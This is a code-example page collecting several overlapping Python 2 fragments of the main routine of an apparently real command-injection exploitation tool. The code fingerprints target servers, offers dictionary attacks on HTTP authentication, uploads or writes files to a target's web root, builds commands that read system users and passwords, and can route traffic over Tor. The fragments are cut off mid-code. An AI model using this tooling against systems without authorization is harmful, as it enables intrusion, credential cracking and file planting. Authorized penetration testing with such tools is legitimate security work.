                            if menu.options.passwords:
                                warn_msg = "The '--passwords' option, is not yet available for Windows targets."
                                print settings.print_warning_msg(warn_msg)
                            if menu.options.file_upload:
                                warn_msg = "The '--file-upload' option, is not yet available for windows targets. "
                                warn_msg += "Instead, use the '--file-write' option."
                                print settings.print_warning_msg(warn_msg)
                                sys.exit(0)
                        else:
                            if menu.options.is_admin:
                                warn_msg = "Swithing the '--is-admin' to '--is-root' because "
                                warn_msg += "the target has been identified as unix-like. "
                                print settings.print_warning_msg(warn_msg)

                        if found_os_server == False and \
                           not menu.options.os:
                            # If "--shellshock" option is provided then,
                            # by default is a Linux/Unix operating system.
                            if menu.options.shellshock:
                                pass
                            else:
                                warn_msg = "Heuristics have failed to identify server's operating system."
                                print settings.print_warning_msg(warn_msg)
                                while True:
                                    question_msg = "Do you recognise the server's operating system? [(W)indows/(U)nix/(q)uit] > "
                                    got_os = raw_input(
                                        settings.print_question_msg(
                                            question_msg)).lower()
                                    if got_os.lower() in settings.CHOICE_OS:
                                        if got_os.lower() == "w":
                                            settings.TARGET_OS = "win"
                                            break
                                        elif got_os.lower() == "u":
                                            break
                                        elif got_os.lower() == "q":
                                            raise SystemExit()
                                    else:
                                        if got_os == "":
                                            got_os = "enter"
                                        err_msg = "'" + got_os + "' is not a valid answer."
                                        print settings.print_error_msg(
                                            err_msg) + "\n"
                                        pass

                        if not menu.options.os:
                            if found_server_banner == False:
                                warn_msg = "The server which was identified as " + server_banner + " seems unknown."
                                print settings.print_warning_msg(warn_msg)
                    else:
                        found_os_server = checks.user_defined_os()
                except KeyError:
                    pass

                # Charset detection [1].
                # [1] http://www.w3schools.com/html/html_charset.asp
                # Check if HTML4 format
                if menu.options.verbose:
                    info_msg = "Identifing the indicated web-page charset..."
                    print settings.print_info_msg(info_msg)
                content = re.findall(r";charset=(.*)\"", html_data)
                if len(content) != 0:
                    charset = content
                else:
                    # Check if HTML5 format
                    charset = re.findall(r"charset=['\"](.*?)['\"]", html_data)
                if len(charset) != 0:
                    settings.CHARSET = charset[len(charset) - 1]
                    if settings.CHARSET.lower() not in settings.CHARSET_LIST:
                        warn_msg = "The indicated web-page charset " + settings.CHARSET + " seems unknown."
                        print settings.print_warning_msg(warn_msg)
                    else:
                        if menu.options.verbose:
                            success_msg = "The indicated web-page charset appears to be "
                            success_msg += Style.UNDERLINE + settings.CHARSET + Style.RESET_ALL + "."
                            print settings.print_success_msg(success_msg)

            except urllib2.HTTPError, e:
                # Check the codes of responses
                if e.getcode() == 500:
                    print "[ " + Fore.RED + "FAILED" + Style.RESET_ALL + " ]"
                    content = e.read()
                    sys.exit(0)

                # Check for HTTP Error 401 (Unauthorized).
                elif e.getcode() == 401:
                    try:
                        # Get the auth header value
                        auth_line = e.headers.get('www-authenticate', '')
                        # Checking for authentication type name.
                        auth_type = auth_line.split()[0]
                        settings.SUPPORTED_HTTP_AUTH_TYPES.index(
                            auth_type.lower())
                        # Checking for the realm attribute.
                        try:
                            auth_obj = re.match('''(\w*)\s+realm=(.*)''',
                                                auth_line).groups()
                            realm = auth_obj[1].split(',')[0].replace("\"", "")
                        except:
                            realm = False

                    except ValueError:
                        print "[ " + Fore.RED + "FAILED" + Style.RESET_ALL + " ]"
                        err_msg = "The identified HTTP authentication type (" + auth_type + ") is not yet supported."
                        print settings.print_error_msg(err_msg) + "\n"
                        sys.exit(0)

                    except IndexError:
                        print "[ " + Fore.RED + "FAILED" + Style.RESET_ALL + " ]"
                        err_msg = "The provided pair of " + menu.options.auth_type
                        err_msg += " HTTP authentication credentials '" + menu.options.auth_cred + "'"
                        err_msg += " seems to be invalid."
                        print settings.print_error_msg(err_msg)
                        sys.exit(0)

                    print "[ " + Fore.GREEN + "SUCCEED" + Style.RESET_ALL + " ]"
                    if menu.options.auth_type and menu.options.auth_type != auth_type.lower(
                    ):
                        if checks.identified_http_auth_type(auth_type):
                            menu.options.auth_type = auth_type.lower()
                    else:
                        menu.options.auth_type = auth_type.lower()

                    # Check for stored auth credentials.
                    if not menu.options.auth_cred:
                        try:
                            stored_auth_creds = session_handler.export_valid_credentials(
                                url, auth_type.lower())
                        except:
                            stored_auth_creds = False
                        if stored_auth_creds:
                            menu.options.auth_cred = stored_auth_creds
                            success_msg = "Identified a valid pair of credentials '" + Style.UNDERLINE
                            success_msg += menu.options.auth_cred + Style.RESET_ALL + Style.BRIGHT + "'."
                            print settings.print_success_msg(success_msg)
                        else:
                            # Basic authentication
                            if menu.options.auth_type == "basic":
                                if not menu.options.ignore_401:
                                    warn_msg = "(" + menu.options.auth_type.capitalize(
                                    ) + ") "
                                    warn_msg += "HTTP authentication credentials are required."
                                    printprint_warning_msg(warn_msg)
                                    while True:
                                        question_msg = "Do you want to perform a dictionary-based attack? [Y/n/q] > "
                                        crack_creds = raw_input(
                                            settings.print_question_msg(
                                                question_msg)).lower()
                                        if crack_creds in settings.CHOICE_YES:
                                            auth_creds = authentication.http_auth_cracker(
                                                url, realm)
                                            if auth_creds != False:
                                                menu.options.auth_cred = auth_creds
                                                settings.REQUIRED_AUTHENTICATION = True
                                                break
                                            else:
                                                sys.exit(0)
                                        elif crack_creds in settings.CHOICE_NO:
                                            checks.http_auth_err_msg()
                                        elif crack_creds in settings.CHOICE_QUIT:
                                            sys.exit(0)
                                        else:
                                            if crack_creds == "":
                                                crack_creds = "enter"
                                            err_msg = "'" + crack_creds + "' is not a valid answer."
                                            print settings.print_error_msg(
                                                err_msg) + "\n"
                                            pass

                            # Digest authentication
                            elif menu.options.auth_type == "digest":
                                if not menu.options.ignore_401:
                                    warn_msg = "(" + menu.options.auth_type.capitalize(
                                    ) + ") "
                                    warn_msg += "HTTP authentication credentials are required."
                                    print settings.print_warning_msg(warn_msg)
                                    # Check if heuristics have failed to identify the realm attribute.
                                    if not realm:
                                        warn_msg = "Heuristics have failed to identify the realm attribute."
                                        print settings.print_warning_msg(
                                            warn_msg)
                                    while True:
                                        question_msg = "Do you want to perform a dictionary-based attack? [Y/n/q] > "
                                        crack_creds = raw_input(
                                            settings.print_question_msg(
                                                question_msg)).lower()
                                        if crack_creds in settings.CHOICE_YES:
                                            auth_creds = authentication.http_auth_cracker(
                                                url, realm)
                                            if auth_creds != False:
                                                menu.options.auth_cred = auth_creds
                                                settings.REQUIRED_AUTHENTICATION = True
                                                break
                                            else:
                                                sys.exit(0)
                                        elif crack_creds in settings.CHOICE_NO:
                                            checks.http_auth_err_msg()
                                        elif crack_creds in settings.CHOICE_QUIT:
                                            sys.exit(0)
                                        else:
                                            if crack_creds == "":
                                                crack_creds = "enter"
                                            err_msg = "'" + crack_creds + "' is not a valid answer."
                                            print settings.print_error_msg(
                                                err_msg) + "\n"
                                            pass
                                    else:
                                        checks.http_auth_err_msg()
                    else:
                        pass

                elif e.getcode() == 403:
                    print "[ " + Fore.RED + "FAILED" + Style.RESET_ALL + " ]"
                    err_msg = "You don't have permission to access this page."
                    print settings.print_error_msg(err_msg)
                    sys.exit(0)

                elif e.getcode() == 404:
                    print "[ " + Fore.RED + "FAILED" + Style.RESET_ALL + " ]"
                    err_msg = "The host seems to be down!"
                    print settings.print_error_msg(err_msg)
                    sys.exit(0)

                else:
                    raise

            except urllib2.URLError, e:
                print "[ " + Fore.RED + "FAILED" + Style.RESET_ALL + " ]"
                err_msg = "The host seems to be down!"
                print settings.print_error_msg(err_msg)
                sys.exit(0)
Exemplo n.º 35
0
def main():
    try:
        # Check if defined "--version" option.
        if menu.options.version:
            version.show_version()
            sys.exit(0)

        # Checkall the banner
        menu.banner()

        # Check python version number.
        version.python_version()

        # Check if defined "--dependencies" option.
        # For checking (non-core) third party dependenices.
        if menu.options.noncore_dependencies:
            checks.third_party_dependencies()
            sys.exit(0)

        # Check if defined "--update" option.
        if menu.options.update:
            update.updater()

        # Check if defined "--install" option.
        if menu.options.install:
            install.installer()
            sys.exit(0)

        # Check arguments
        if len(sys.argv) == 1:
            menu.parser.print_help()
            print ""
            sys.exit(0)

        # Define the level of verbosity.
        if menu.options.verbose > 4:
            err_msg = "The value for option '-v' "
            err_msg += "must be an integer value from range [0, 4]."
            print settings.print_critical_msg(err_msg)
            sys.exit(0)
        else:
            settings.VERBOSITY_LEVEL = menu.options.verbose

        # Check if defined "--delay" option.
        if menu.options.delay > "0":
            settings.DELAY = menu.options.delay

        # Define the level of tests to perform.
        if menu.options.level > 3:
            err_msg = "The value for option '--level' "
            err_msg += "must be an integer value from range [1, 3]."
            print settings.print_critical_msg(err_msg)
            sys.exit(0)

        # Define the local path where Metasploit Framework is installed.
        if menu.options.msf_path:
            settings.METASPLOIT_PATH = menu.options.msf_path

        # Parse target / data from HTTP proxy logs (i.e Burp / WebScarab).
        if menu.options.logfile:
            parser.logfile_parser()

        # Ignore the mathematic calculation part (Detection phase).
        if menu.options.skip_calc:
            settings.SKIP_CALC = True

        # Target URL reload.
        if menu.options.url_reload and menu.options.data:
            settings.URL_RELOAD = True

        # Check provided parameters for tests
        if menu.options.test_parameter:
            if menu.options.test_parameter.startswith("="):
                menu.options.test_parameter = menu.options.test_parameter[1:]
            settings.TEST_PARAMETER = menu.options.test_parameter.split(
                settings.PARAMETER_SPLITTING_REGEX)
            for i in range(0, len(settings.TEST_PARAMETER)):
                if "=" in settings.TEST_PARAMETER[i]:
                    settings.TEST_PARAMETER[i] = settings.TEST_PARAMETER[
                        i].split("=")[0]

        # Check if ".git" exists and check for updated version!
        if os.path.isdir("./.git") and settings.CHECK_FOR_UPDATES_ON_START:
            update.check_for_update()

        # Check if defined character used for splitting parameter values.
        if menu.options.pdel:
            settings.PARAMETER_DELIMITER = menu.options.pdel

        # Check if defined character used for splitting cookie values.
        if menu.options.cdel:
            settings.COOKIE_DELIMITER = menu.options.cdel

        # Check if specified wrong injection technique
        if menu.options.tech and menu.options.tech not in settings.AVAILABLE_TECHNIQUES:
            found_tech = False
            # Convert injection technique(s) to lowercase
            menu.options.tech = menu.options.tech.lower()
            # Check if used the ',' separator
            if settings.PARAMETER_SPLITTING_REGEX in menu.options.tech:
                split_techniques_names = menu.options.tech.split(
                    settings.PARAMETER_SPLITTING_REGEX)
            else:
                split_techniques_names = menu.options.tech.split()
            if split_techniques_names:
                for i in range(0, len(split_techniques_names)):
                    if len(menu.options.tech) <= 4:
                        split_first_letter = list(menu.options.tech)
                        for j in range(0, len(split_first_letter)):
                            if split_first_letter[
                                    j] in settings.AVAILABLE_TECHNIQUES:
                                found_tech = True
                            else:
                                found_tech = False

            if split_techniques_names[i].replace(' ', '') not in settings.AVAILABLE_TECHNIQUES and \
               found_tech == False:
                err_msg = "You specified wrong value '" + split_techniques_names[
                    i]
                err_msg += "' as injection technique. "
                err_msg += "The value, must be a string composed by the letters (C)lassic, (E)val-based, "
                err_msg += "(T)ime-based, (F)ile-based (with or without commas)."
                print settings.print_critical_msg(err_msg)
                sys.exit(0)

        # Check if specified wrong alternative shell
        if menu.options.alter_shell:
            if menu.options.alter_shell.lower(
            ) not in settings.AVAILABLE_SHELLS:
                err_msg = "'" + menu.options.alter_shell + "' shell is not supported!"
                print settings.print_critical_msg(err_msg)
                sys.exit(0)

        # Check the file-destination
        if menu.options.file_write and not menu.options.file_dest or \
        menu.options.file_upload  and not menu.options.file_dest:
            err_msg = "Host's absolute filepath to write and/or upload, must be specified (--file-dest)."
            print settings.print_critical_msg(err_msg)
            sys.exit(0)

        if menu.options.file_dest and menu.options.file_write == None and menu.options.file_upload == None:
            err_msg = "You must enter the '--file-write' or '--file-upload' parameter."
            print settings.print_critical_msg(err_msg)
            sys.exit(0)

        # Check if defined "--random-agent" option.
        if menu.options.random_agent:
            menu.options.agent = random.choice(settings.USER_AGENT_LIST)

        # Check if defined "--url" option.
        if menu.options.url:
            url = menu.options.url

            # Check if http / https
            url = checks.check_http_s(url)

            # Load the crawler
            if menu.options.crawldepth > 0:
                menu.options.DEFAULT_CRAWLDEPTH_LEVEL = menu.options.crawldepth
                url = crawler.crawler(url)

            if menu.options.output_dir:
                output_dir = menu.options.output_dir
            else:
                output_dir = settings.OUTPUT_DIR

            # One directory up, if Windows or if the script is being run under "/src".
            if settings.IS_WINDOWS or "/src" in os.path.dirname(
                    os.path.abspath(__file__)):
                os.chdir("..")

            output_dir = os.path.dirname(output_dir)

            try:
                os.stat(output_dir)
            except:
                os.mkdir(output_dir)

            # The logs filename construction.
            filename = logs.create_log_file(url, output_dir)
            try:

                # Check if defined POST data
                if menu.options.data:
                    request = urllib2.Request(url, menu.options.data)
                else:
                    request = urllib2.Request(url)

                headers.do_check(request)
                #headers.check_http_traffic(request)
                # Check if defined any HTTP Proxy (--proxy option).
                if menu.options.proxy:
                    proxy.do_check(url)

                # Check if defined Tor (--tor option).
                elif menu.options.tor:
                    tor.do_check()

                if menu.options.flush_session:
                    session_handler.flush(url)

                info_msg = "Checking connection to the target URL... "
                sys.stdout.write(settings.print_info_msg(info_msg))
                sys.stdout.flush()
                if settings.VERBOSITY_LEVEL >= 2:
                    print ""

                headers.check_http_traffic(request)

                try:
                    # Check if defined any HTTP Proxy (--proxy option).
                    if menu.options.proxy:
                        response = proxy.use_proxy(request)
                    # Check if defined Tor (--tor option).
                    elif menu.options.tor:
                        response = tor.use_tor(request)
                    else:
                        try:
                            response = urllib2.urlopen(request)
                        except ValueError:
                            # Invalid format for the '--headers' option.
                            if settings.VERBOSITY_LEVEL < 2:
                                print "[ " + Fore.RED + "FAILED" + Style.RESET_ALL + " ]"
                            err_msg = "Use '--headers=\"HEADER_NAME:HEADER_VALUE\"' "
                            err_msg += "to provide an HTTP header or"
                            err_msg += " '--headers=\"HEADER_NAME:" + settings.WILDCARD_CHAR + "\"' "
                            err_msg += "if you want to try to exploit the provided HTTP header."
                            print settings.print_critical_msg(err_msg)
                            sys.exit(0)

                except urllib2.HTTPError, e:
                    if settings.VERBOSITY_LEVEL < 2:
                        print "[ " + Fore.RED + "FAILED" + Style.RESET_ALL + " ]"
                    err_msg = str(e).replace(": ", " (") + ")."
                    print settings.print_critical_msg(err_msg)
                    raise SystemExit

                html_data = content = response.read()
                if settings.VERBOSITY_LEVEL < 2:
                    print "[ " + Fore.GREEN + "SUCCEED" + Style.RESET_ALL + " ]"

                # Check for CGI scripts on url
                checks.check_CGI_scripts(url)

                # Modification on payload
                if not menu.options.shellshock:
                    #settings.CURRENT_USER = "******" + settings.CURRENT_USER + ")"
                    settings.SYS_USERS = "echo $(" + settings.SYS_USERS + ")"
                    settings.SYS_PASSES = "echo $(" + settings.SYS_PASSES + ")"

                # Check if defined "--file-upload" option.
                if menu.options.file_upload:
                    if not re.match(settings.VALID_URL_FORMAT,
                                    menu.options.file_upload):
                        # Check if not defined URL for upload.
                        while True:
                            question_msg = "Do you want to enable an HTTP server? [Y/n/q] > "
                            sys.stdout.write(
                                settings.print_question_msg(question_msg))
                            enable_HTTP_server = sys.stdin.readline().replace(
                                "\n", "").lower()
                            if len(enable_HTTP_server) == 0:
                                enable_HTTP_server = "y"
                            if enable_HTTP_server in settings.CHOICE_YES:
                                # Check if file exists
                                if not os.path.isfile(
                                        menu.options.file_upload):
                                    err_msg = "The '" + menu.options.file_upload + "' file, does not exists."
                                    sys.stdout.write(
                                        settings.print_critical_msg(err_msg) +
                                        "\n")
                                    sys.exit(0)
                                http_server = "http://" + str(
                                    settings.LOCAL_HTTP_IP) + ":" + str(
                                        settings.LOCAL_HTTP_PORT) + "/"
                                info_msg = "Setting the HTTP server on '" + http_server + "'. "
                                print settings.print_info_msg(info_msg)
                                menu.options.file_upload = http_server + menu.options.file_upload
                                simple_http_server.main()
                                break
                            elif enable_HTTP_server in settings.CHOICE_NO:
                                if not re.match(settings.VALID_URL_FORMAT,
                                                menu.options.file_upload):
                                    err_msg = "The '" + menu.options.file_upload + "' is not a valid URL. "
                                    print settings.print_critical_msg(err_msg)
                                    sys.exit(0)
                                break
                            elif enable_HTTP_server in settings.CHOICE_QUIT:
                                sys.exit(0)
                            else:
                                err_msg = "'" + enable_HTTP_server + "' is not a valid answer."
                                print settings.print_error_msg(err_msg)
                                pass
                    try:
                        urllib2.urlopen(menu.options.file_upload)
                    except urllib2.HTTPError, err_msg:
                        print settings.print_critical_msg(err_msg)
                        sys.exit(0)
                    except urllib2.URLError, err_msg:
                        print settings.print_critical_msg(err_msg)
                        sys.exit(0)
Exemplo n.º 36
0
       if continue_tests == True:
         settings.IGNORE_ERR_MSG = True
       else:
         raise SystemExit()
     response = False 
   except urllib2.URLError, err:
     if "Connection refused" in err.reason:
       err_msg =  "The target host is not responding."
       err_msg += " Please ensure that is up and try again."
       print "\n" + settings.print_critical_msg(err_msg)
     raise SystemExit()
     
 # Check if defined Tor.
 elif menu.options.tor:
   try:
     response = tor.use_tor(request)
   except urllib2.HTTPError, err:
     if settings.IGNORE_ERR_MSG == False:
       print settings.print_error_msg(err)
       continue_tests = checks.continue_tests(err)
       if continue_tests == True:
         settings.IGNORE_ERR_MSG = True
       else:
         raise SystemExit()
     response = False 
   except urllib2.URLError, err:
     if "Connection refused" in err.reason:
       err_msg =  "The target host is not responding."
       err_msg += " Please ensure that is up and try again."
       print "\n" + settings.print_critical_msg(err_msg)
     raise SystemExit()
Exemplo n.º 37
0
def main():
  try:
    # Check if defined "--version" option.
    if menu.options.version:
      version.show_version()
      sys.exit(0)

    # Checkall the banner
    menu.banner()
        
    # Check python version number.
    version.python_version()

    # Check if defined "--dependencies" option. 
    # For checking (non-core) third party dependenices.
    if menu.options.noncore_dependencies:
      checks.third_party_dependencies()
      sys.exit(0)
      
    # Check if defined "--update" option.        
    if menu.options.update:
      update.updater()
        
    # Check if defined "--install" option.        
    if menu.options.install:
      install.installer()
      sys.exit(0)
    
    # Check arguments
    if len(sys.argv) == 1:
      menu.parser.print_help()
      print ""
      sys.exit(0)

    # Define the level of verbosity.
    if menu.options.verbose > 1:
      err_msg = "The value for option '-v' "
      err_msg += "must be an integer value from range [0, 1]."
      print settings.print_critical_msg(err_msg)
      sys.exit(0)
    else:  
      settings.VERBOSITY_LEVEL = menu.options.verbose

    # Check if defined "--delay" option.
    if menu.options.delay:
      if menu.options.delay > "0":
        settings.DELAY = menu.options.delay

    # Define the level of tests to perform.
    if menu.options.level > 3:
      err_msg = "The value for option '--level' "
      err_msg += "must be an integer value from range [1, 3]."
      print settings.print_critical_msg(err_msg)
      sys.exit(0)

    # Parse target / data from HTTP proxy logs (i.e Burp / WebScarab).
    if menu.options.logfile:
      parser.logfile_parser()
 
    # Check provided parameters for tests
    if menu.options.test_parameter:
      if menu.options.test_parameter.startswith("="):
        menu.options.test_parameter = menu.options.test_parameter[1:]
      settings.TEST_PARAMETER = menu.options.test_parameter.split(settings.PARAMETER_SPLITTING_REGEX)
      for i in range(0,len(settings.TEST_PARAMETER)):
        if "=" in settings.TEST_PARAMETER[i]:
          settings.TEST_PARAMETER[i] = settings.TEST_PARAMETER[i].split("=")[0]
    
    # Check if ".git" exists and check for updated version!
    if os.path.isdir("./.git") and settings.CHECK_FOR_UPDATES_ON_START:
      update.check_for_update()

    # Check if defined character used for splitting parameter values.
    if menu.options.pdel:
     settings.PARAMETER_DELIMITER = menu.options.pdel

    # Check if defined character used for splitting cookie values.
    if menu.options.cdel:
     settings.COOKIE_DELIMITER = menu.options.cdel

    # Check if specified wrong injection technique
    if menu.options.tech and menu.options.tech not in settings.AVAILABLE_TECHNIQUES:
      found_tech = False
      # Convert injection technique(s) to lowercase
      menu.options.tech = menu.options.tech.lower()
      # Check if used the ',' separator
      if settings.PARAMETER_SPLITTING_REGEX in menu.options.tech:
        split_techniques_names = menu.options.tech.split(settings.PARAMETER_SPLITTING_REGEX)
      else:
        split_techniques_names = menu.options.tech.split()
      if split_techniques_names:
        for i in range(0,len(split_techniques_names)):
          if len(menu.options.tech) <= 4:
            split_first_letter = list(menu.options.tech)
            for j in range(0,len(split_first_letter)):
              if split_first_letter[j] in settings.AVAILABLE_TECHNIQUES:
                found_tech = True
              else:  
                found_tech = False  
                          
      if split_techniques_names[i].replace(' ', '') not in settings.AVAILABLE_TECHNIQUES and \
         found_tech == False:
        err_msg = "You specified wrong value '" + split_techniques_names[i] 
        err_msg += "' as injection technique. "
        err_msg += "The value, must be a string composed by the letters (C)lassic, (E)val-based, "
        err_msg += "(T)ime-based, (F)ile-based (with or without commas)."
        print settings.print_critical_msg(err_msg)
        sys.exit(0)

    # Check if specified wrong alternative shell
    if menu.options.alter_shell:
      if menu.options.alter_shell.lower() not in settings.AVAILABLE_SHELLS:
        err_msg = "'" + menu.options.alter_shell + "' shell is not supported!"
        print settings.print_critical_msg(err_msg)
        sys.exit(0)

    # Check the file-destination
    if menu.options.file_write and not menu.options.file_dest or \
    menu.options.file_upload  and not menu.options.file_dest:
      err_msg = "Host's absolute filepath to write and/or upload, must be specified (--file-dest)."
      print settings.print_critical_msg(err_msg)
      sys.exit(0)

    if menu.options.file_dest and menu.options.file_write == None and menu.options.file_upload == None :
      err_msg = "You must enter the '--file-write' or '--file-upload' parameter."
      print settings.print_critical_msg(err_msg)
      sys.exit(0)

    # Check if defined "--random-agent" option.
    if menu.options.random_agent:
      menu.options.agent = random.choice(settings.USER_AGENT_LIST)
  
    # Check if defined "--url" option.
    if menu.options.url:
      url = menu.options.url
      
      # Check if http / https
      url = checks.check_http_s(url)

      if menu.options.output_dir:
        output_dir = menu.options.output_dir
      else:
        output_dir = settings.OUTPUT_DIR
      
      # One directory up, if Windows or if the script is being run under "/src".
      if settings.IS_WINDOWS or "/src" in os.path.dirname(os.path.abspath(__file__)):
        os.chdir("..")
        
      output_dir = os.path.dirname(output_dir)
     
      try:
        os.stat(output_dir)
      except:
        os.mkdir(output_dir)   

      # The logs filename construction.
      filename = logs.create_log_file(url, output_dir)
      try:
        
        # Check if defined POST data
        if menu.options.data:
          request = urllib2.Request(url, menu.options.data)
        else:
          request = urllib2.Request(url)

        headers.do_check(request)  
        
        # Check if defined any HTTP Proxy (--proxy option).
        if menu.options.proxy:
          proxy.do_check(url)
        
        # Check if defined Tor (--tor option).
        elif menu.options.tor:
          tor.do_check()
        info_msg = "Checking connection to the target URL... "  
        sys.stdout.write(settings.print_info_msg(info_msg))
        sys.stdout.flush()

        try:
          # Check if defined any HTTP Proxy (--proxy option).
          if menu.options.proxy:
            response = proxy.use_proxy(request)
          # Check if defined Tor (--tor option).  
          elif menu.options.tor:
            response = tor.use_tor(request)
          else:
            try:
              response = urllib2.urlopen(request)
            except ValueError:
              # Invalid format for the '--headers' option.
              print "[ " + Fore.RED + "FAILED" + Style.RESET_ALL + " ]"
              err_msg = "Use '--headers=\"HEADER_NAME:HEADER_VALUE\"' "
              err_msg += "to provide an HTTP header or"
              err_msg += " '--headers=\"HEADER_NAME:" + settings.WILDCARD_CHAR  + "\"' "
              err_msg += "if you want to try to exploit the provided HTTP header."
              print settings.print_critical_msg(err_msg)
              sys.exit(0)
        except:
          raise

        html_data = content = response.read()
        print "[ " + Fore.GREEN + "SUCCEED" + Style.RESET_ALL + " ]"

        # Check for CGI scripts on url
        checks.check_CGI_scripts(url)

        # Modification on payload
        if not menu.options.shellshock:
          #settings.CURRENT_USER = "******" + settings.CURRENT_USER + ")"
          settings.SYS_USERS  = "echo $(" + settings.SYS_USERS + ")"
          settings.SYS_PASSES  = "echo $(" + settings.SYS_PASSES + ")"

        # Check if defined "--file-upload" option.
        if menu.options.file_upload:
          if not re.match(settings.VALID_URL_FORMAT, menu.options.file_upload):
            # Check if not defined URL for upload.
            while True:
              question_msg = "Do you want to enable an HTTP server? [Y/n/q] > "
              sys.stdout.write(settings.print_question_msg(question_msg))
              enable_HTTP_server = sys.stdin.readline().replace("\n","").lower()
              if enable_HTTP_server in settings.CHOICE_YES:
                # Check if file exists
                if not os.path.isfile(menu.options.file_upload):
                  err_msg = "The '" + menu.options.file_upload + "' file, does not exists."
                  sys.stdout.write(settings.print_critical_msg(err_msg) + "\n")
                  sys.exit(0)
                http_server = "http://" + str(settings.LOCAL_HTTP_IP) + ":" + str(settings.LOCAL_HTTP_PORT) + "/"
                info_msg = "Setting the HTTP server on '" + http_server + "'. "  
                print settings.print_info_msg(info_msg)
                menu.options.file_upload = http_server + menu.options.file_upload
                simple_http_server.main()
                break
              elif enable_HTTP_server in settings.CHOICE_NO:
                if not re.match(settings.VALID_URL_FORMAT, menu.options.file_upload):
                  err_msg = "The '" + menu.options.file_upload + "' is not a valid URL. "
                  print settings.print_critical_msg(err_msg)
                  sys.exit(0)
                break  
              elif enable_HTTP_server in settings.CHOICE_QUIT:
                sys.exit(0)
              else:
                if enable_HTTP_server == "":
                  enable_HTTP_server = "enter"
                err_msg = "'" + enable_HTTP_server + "' is not a valid answer."  
                print settings.print_error_msg(err_msg)
                pass
          try:
            urllib2.urlopen(menu.options.file_upload)
          except urllib2.HTTPError, err_msg:
            print settings.print_critical_msg(err_msg)
            sys.exit(0)
          except urllib2.URLError, err_msg:
            print settings.print_critical_msg(err_msg)
            sys.exit(0)

        # Used a valid pair of valid credentials
        if menu.options.auth_cred:
          success_msg = Style.BRIGHT + "Identified a valid pair of credentials '" 
          success_msg += menu.options.auth_cred + Style.RESET_ALL 
          success_msg += Style.BRIGHT + "'." + Style.RESET_ALL
          print settings.print_success_msg(success_msg)

        try:
          if response.info()['server'] :
            server_banner = response.info()['server']
            found_os_server = False
            if menu.options.os and checks.user_defined_os():
              user_defined_os = settings.TARGET_OS

            # Procedure for target OS identification.
            for i in range(0,len(settings.SERVER_OS_BANNERS)):
              if settings.SERVER_OS_BANNERS[i].lower() in server_banner.lower():
                found_os_server = True
                settings.TARGET_OS = settings.SERVER_OS_BANNERS[i].lower()
                if settings.TARGET_OS == "win" or settings.TARGET_OS == "microsoft" :
                  identified_os = "Windows"
                  if menu.options.os and user_defined_os != "win":
                    if not checks.identified_os():
                      settings.TARGET_OS = user_defined_os

                  settings.TARGET_OS = identified_os[:3].lower()
                  if menu.options.shellshock:
                    err_msg = "The shellshock module is not available for " 
                    err_msg += identified_os + " targets."
                    print settings.print_critical_msg(err_msg)
                    raise SystemExit()
                else:
                  identified_os = "Unix-like (" + settings.TARGET_OS + ")"
                  if menu.options.os and user_defined_os == "win":
                    if not checks.identified_os():
                      settings.TARGET_OS = user_defined_os

            # Procedure for target server identification.
            found_server_banner = False
            if settings.VERBOSITY_LEVEL >= 1:
              info_msg = "Identifying the target server... " 
              sys.stdout.write(settings.print_info_msg(info_msg))
              sys.stdout.flush()

            for i in range(0,len(settings.SERVER_BANNERS)):
              if settings.SERVER_BANNERS[i].lower() in server_banner.lower():
                if settings.VERBOSITY_LEVEL >= 1:
                  print "[ " + Fore.GREEN + "SUCCEED" + Style.RESET_ALL + " ]"
                if settings.VERBOSITY_LEVEL >= 1:
                  success_msg = "The target server was identified as " 
                  success_msg += server_banner + Style.RESET_ALL + "."
                  print settings.print_success_msg(success_msg)
                settings.SERVER_BANNER = server_banner
                found_server_banner = True

                # Set up default root paths
                if settings.SERVER_BANNERS[i].lower() == "apache":
                  if settings.TARGET_OS == "win":
                    settings.SRV_ROOT_DIR = "\\htdocs"
                  else:
                    settings.SRV_ROOT_DIR = "/var/www"
                if settings.SERVER_BANNERS[i].lower() == "nginx": 
                  settings.SRV_ROOT_DIR = "/usr/share/nginx"
                if settings.SERVER_BANNERS[i].lower() == "microsoft-iis":
                  settings.SRV_ROOT_DIR = "\\inetpub\\wwwroot"
                break

            if not found_server_banner:
              if settings.VERBOSITY_LEVEL >= 1:
                print "[ " + Fore.RED + "FAILED" + Style.RESET_ALL + " ]"
              warn_msg = "Heuristics have failed to identify target server."
              print settings.print_warning_msg(warn_msg)

            # Procedure for target application identification
            found_application_extension = False
            if settings.VERBOSITY_LEVEL >= 1:
              info_msg = "Identifying the target application ... " 
              sys.stdout.write(settings.print_info_msg(info_msg))
              sys.stdout.flush()
            root, application_extension = splitext(urlparse(url).path)
            settings.TARGET_APPLICATION = application_extension[1:].upper()
            
            if settings.TARGET_APPLICATION:
              found_application_extension = True
              if settings.VERBOSITY_LEVEL >= 1:
                print "[ " + Fore.GREEN + "SUCCEED" + Style.RESET_ALL + " ]"           
                success_msg = "The target application was identified as " 
                success_msg += settings.TARGET_APPLICATION + Style.RESET_ALL + "."
                print settings.print_success_msg(success_msg)

              # Check for unsupported target applications
              for i in range(0,len(settings.UNSUPPORTED_TARGET_APPLICATION)):
                if settings.TARGET_APPLICATION.lower() in settings.UNSUPPORTED_TARGET_APPLICATION[i].lower():
                  err_msg = settings.TARGET_APPLICATION + " exploitation is not yet supported."  
                  print settings.print_critical_msg(err_msg)
                  raise SystemExit()

            if not found_application_extension:
              if settings.VERBOSITY_LEVEL >= 1:
                print "[ " + Fore.RED + "FAILED" + Style.RESET_ALL + " ]"
              warn_msg = "Heuristics have failed to identify target application."
              print settings.print_warning_msg(warn_msg)

            # Load tamper scripts
            if menu.options.tamper:
              checks.tamper_scripts()

            # Store the Server's root dir
            settings.DEFAULT_SRV_ROOT_DIR = settings.SRV_ROOT_DIR

            if menu.options.is_admin or menu.options.is_root and not menu.options.current_user:
              menu.options.current_user = True

            # Define Python working directory.
            if settings.TARGET_OS == "win" and menu.options.alter_shell:
              while True:
                question_msg = "Do you want to use '" + settings.WIN_PYTHON_DIR 
                question_msg += "' as Python working directory on the target host? [Y/n] > "
                sys.stdout.write(settings.print_question_msg(question_msg))
                python_dir = sys.stdin.readline().replace("\n","").lower()
                if python_dir in settings.CHOICE_YES:
                  break
                elif python_dir in settings.CHOICE_NO:
                  question_msg = "Please provide a custom working directory for Python (e.g. '" 
                  question_msg += settings.WIN_PYTHON_DIR + "') > "
                  sys.stdout.write(settings.print_question_msg(question_msg))
                  settings.WIN_PYTHON_DIR = sys.stdin.readline().replace("\n","").lower()
                  break
                else:
                  if python_dir == "":
                    python_dir = "enter"
